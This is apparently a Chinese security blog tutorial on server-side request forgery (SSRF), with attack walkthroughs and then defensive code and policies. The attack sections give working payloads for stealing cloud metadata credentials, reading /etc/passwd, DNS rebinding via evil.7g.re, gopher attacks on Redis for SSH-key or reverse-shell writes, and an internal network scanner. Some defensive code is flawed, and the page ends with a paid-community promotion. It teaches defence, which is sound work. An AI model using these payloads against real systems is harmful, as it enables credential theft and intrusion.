SSRF 服务端请求伪造利用与防御 - 安全技术
SSRF 服务端请求伪造利用与防御 - 安全技术

SSRF服务端请求伪造:从攻击者视角到防御体系构建

引言

2023年,某知名云服务商因SSRF漏洞导致内部元数据服务被窃取,攻击者通过一个简单的图片处理接口获取了AWS临时凭证,最终造成数百万美元的数据泄露。这不是孤例——在OWASP Top 10中,SSRF虽未单独列项,但它在云原生架构下的危害性正呈指数级增长。

SSRF 服务端请求伪造利用与防御 - 安全技术

服务端请求伪造(Server-Side Request Forgery, SSRF)是一种利用服务端发起请求的漏洞。攻击者通过构造恶意输入,诱使服务器向内部网络或外部目标发起请求,从而绕过防火墙、访问内网资源或执行未授权操作。本文将带你从实战角度深入理解SSRF的攻击手法与防御策略。

核心内容:SSRF攻击实战演练

环境搭建

为安全测试,我们搭建一个包含SSRF漏洞的测试环境:

# 使用Docker部署漏洞环境
docker pull dvwa/vulnerable-web-app
docker run -d -p 8080:80 dvwa/vulnerable-web-app

# 创建模拟内网服务
docker run -d --name internal-service -p 3000:3000 node:14-alpine sh -c "
cat > /app/server.js << 'EOF'
const http = require('http');
const server = http.createServer((req, res) => {
  res.writeHead(200, {'Content-Type': 'application/json'});
  res.end(JSON.stringify({secret: 'INTERNAL_FLAG_12345', host: req.headers.host}));
});
server.listen(3000, '0.0.0.0', () => console.log('Internal service running'));
EOF
node /app/server.js"

漏洞识别与利用

场景1:URL参数注入

假设存在一个图片下载功能:

// vulnerable.php
$url = $_GET['url'];
$image = file_get_contents($url);
header('Content-Type: image/jpeg');
echo $image;

攻击步骤:

  1. 基础探测
# 尝试访问内网服务
curl "http://target.com/vulnerable.php?url=http://127.0.0.1:3000/"

# 响应显示内部服务返回的JSON数据,而非图片
{"secret":"INTERNAL_FLAG_12345","host":"127.0.0.1:3000"}
  1. 端口扫描
# 利用响应时间判断端口状态
for port in 22 80 443 3306 6379; do
  time curl -s -o /dev/null -w "%{http_code}" \
    "http://target.com/vulnerable.php?url=http://127.0.0.1:$port/"
done
  1. 云元数据攻击(AWS环境):
# 尝试获取IAM临时凭证
curl "http://target.com/vulnerable.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 如果成功,进一步获取具体角色凭证
curl "http://target.com/vulnerable.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"

场景2:协议混淆绕过

当存在协议白名单时,攻击者可以尝试协议混淆:

# 模拟过滤逻辑
def validate_url(url):
    blocked_protocols = ['file://', 'gopher://', 'dict://']
    for protocol in blocked_protocols:
        if url.startswith(protocol):
            return False
    return True

# 攻击者使用编码绕过
# 原始payload: file:///etc/passwd
# 编码后: %66%69%6c%65:///etc/passwd
curl "http://target.com/fetch?url=%66%69%6c%65:///etc/passwd"

场景3:DNS重绑定攻击

针对有域名白名单的SSRF:

# 使用7g.re服务进行DNS重绑定
# 1. 注册一个域名指向外部可控服务器
# 2. 设置TTL为0
# 3. 第一次DNS解析返回正常IP
# 4. 第二次DNS解析返回内网IP

# 攻击payload
curl "http://target.com/fetch?url=http://evil.7g.re:3000/admin"

高级利用技术

利用gopher协议攻击Redis

当目标支持gopher协议时,可以攻击内网Redis服务:

# 构造Redis命令
# 写入SSH公钥到authorized_keys
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0asshk%0d%0a$...%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

# 写入crontab反弹shell
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$2%0d%0ax%0d%0a$...%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

利用SSRF进行内网横向移动

import requests
import urllib.parse

def ssrf_exploit(target_url, internal_host, port):
    """探测内网服务并尝试利用"""
    # 探测存活端口
    payloads = [
        f"http://{internal_host}:{port}/",
        f"file:///etc/passwd",
        f"dict://{internal_host}:{port}/info"
    ]

    for payload in payloads:
        try:
            encoded = urllib.parse.quote(payload, safe='')
            resp = requests.get(f"{target_url}?url={encoded}", timeout=5)

            # 分析响应特征
            if resp.status_code == 200 and len(resp.text) > 100:
                print(f"[+] 发现内网服务: {internal_host}:{port}")
                print(f"    响应: {resp.text[:500]}")
        except:
            pass

# 批量扫描内网网段
for i in range(1, 255):
    ssrf_exploit("http://target.com/fetch", f"192.168.1.{i}", 8080)

防御体系构建

1. 输入验证与白名单

import re
from urllib.parse import urlparse

class SSRFDefender:
    def __init__(self):
        self.allowed_domains = ['images.example.com', 'cdn.example.com']
        self.blocked_ips = ['127.0.0.0/8', '10.0.0.0/8', 
                           '172.16.0.0/12', '192.168.0.0/16',
                           '169.254.0.0/16']

    def validate_url(self, url):
        """多层级URL验证"""
        # 1. 协议白名单
        allowed_protocols = ['http://', 'https://']
        if not any(url.startswith(p) for p in allowed_protocols):
            return False

        # 2. 解析并验证域名
        parsed = urlparse(url)
        if parsed.hostname not in self.allowed_domains:
            return False

        # 3. DNS解析后验证IP
        try:
            import socket
            ip = socket.gethostbyname(parsed.hostname)
            if self._is_private_ip(ip):
                return False
        except:
            return False

        return True

    def _is_private_ip(self, ip):
        """检查是否为内网IP"""
        import ipaddress
        try:
            addr = ipaddress.ip_address(ip)
            for network in self.blocked_ips:
                if addr in ipaddress.ip_network(network):
                    return True
        except:
            return True
        return False

2. 网络层防御

# iptables规则:阻断对外部内网地址的请求
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -d 169.254.0.0/16 -j DROP
iptables -A OUTPUT -d 127.0.0.0/8 -j DROP

# 使用eBPF实现更精细的控制
# 限制应用只能访问特定IP段

3. 应用层防御

# Flask应用中的SSRF防御中间件
from flask import request, abort
import requests
from urllib.parse import urlparse

@app.before_request
def ssrf_protection():
    if 'url' in request.args:
        target_url = request.args['url']

        # 1. 禁止重定向
        session = requests.Session()
        session.max_redirects = 0

        # 2. 超时控制
        timeout = (3.05, 7)  # connect, read timeout

        # 3. 限制响应大小
        def limit_size(response, *args, **kwargs):
            if int(response.headers.get('content-length', 0)) > 1 * 1024 * 1024:
                raise ValueError("Response too large")

        # 4. 使用代理或专用出口
        proxies = {
            'http': 'http://proxy.internal:8080',
            'https': 'http://proxy.internal:8080'
        }

        try:
            resp = session.get(
                target_url,
                timeout=timeout,
                proxies=proxies,
                hooks={'response': limit_size}
            )
        except:
            abort(403)

4. 容器化环境防御

# Kubernetes网络策略:限制Pod出站流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ssrf-protection
spec:
  podSelector:
    matchLabels:
      app: web-app
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16
        - 169.254.0.0/16
    ports:
    - protocol: TCP
      port: 80
    - protocol: TCP
      port: 443

真实案例:云环境SSRF攻击链

场景复现

某电商平台图片处理服务存在SSRF漏洞,攻击者利用以下链条完成攻击:

  1. 入口:图片URL参数未严格校验
  2. 内网探测:扫描发现内部Kubernetes API Server
  3. 凭证窃取:通过SSRF访问元数据服务获取ServiceAccount Token
  4. 横向移动:利用Token操作K8s集群,部署挖矿容器

防御措施

# Kubernetes RBAC最小权限
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: production
  name: pod-reader
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]
---
# Pod安全策略
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: restricted
spec:
  hostNetwork: false
  hostPorts:
  - min: 0
    max: 0
  seLinux:
    rule: RunAsAny
  runAsUser:
    rule: MustRunAsNonRoot

总结:最佳实践清单

防御优先级

  1. 输入验证:所有用户提供的URL必须经过严格白名单校验
  2. 网络隔离:应用服务器不应有直接访问内网的能力
  3. 最小权限:服务账号仅授予必要权限
  4. 监控告警:对异常出站请求进行实时监控

安全开发检查清单

  • [ ] URL解析后检查IP地址是否为内网地址
  • [ ] 禁止使用file://gopher://等危险协议
  • [ ] 设置请求超时(建议不超过5秒)
  • [ ] 限制响应体大小(建议不超过1MB)
  • [ ] 禁止跟随重定向
  • [ ] 使用专用代理服务器发起外部请求
  • [ ] 记录所有出站请求日志

应急响应步骤

当发现SSRF漏洞时:

# 1. 立即阻断漏洞入口
iptables -A INPUT -p tcp --dport 80 -j DROP

# 2. 检查受影响范围
grep "url=" /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c

# 3. 轮换所有可能泄露的凭证
aws iam rotate-access-key --access-key-id AKIAIOSFODNN7EXAMPLE

# 4. 审计内网访问记录
journalctl -u kube-apiserver | grep -E "(unauthorized|forbidden)"

SSRF漏洞的本质是信任关系的滥用——服务端盲目信任用户输入,进而信任内部网络。在云原生架构下,这种信任链的每一环都可能成为攻击者的跳板。防御SSRF没有银弹,需要从架构设计、编码规范、运行时防护多个层面构建纵深防御体系。

记住:永远不要相信用户输入,永远不要假设内网是安全的。

📚 推荐资源

– 部分链接含推广返佣 –

🪐 加入「渗透实战安全圈」

每天分享渗透测试实战、挖洞技巧、漏洞分析、工具推荐

知识星球

https://t.zsxq.com/40MyD

💻 安全运维 / Linux运维 / 渗透测试 技术支持
业务需求可联系博客作者

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注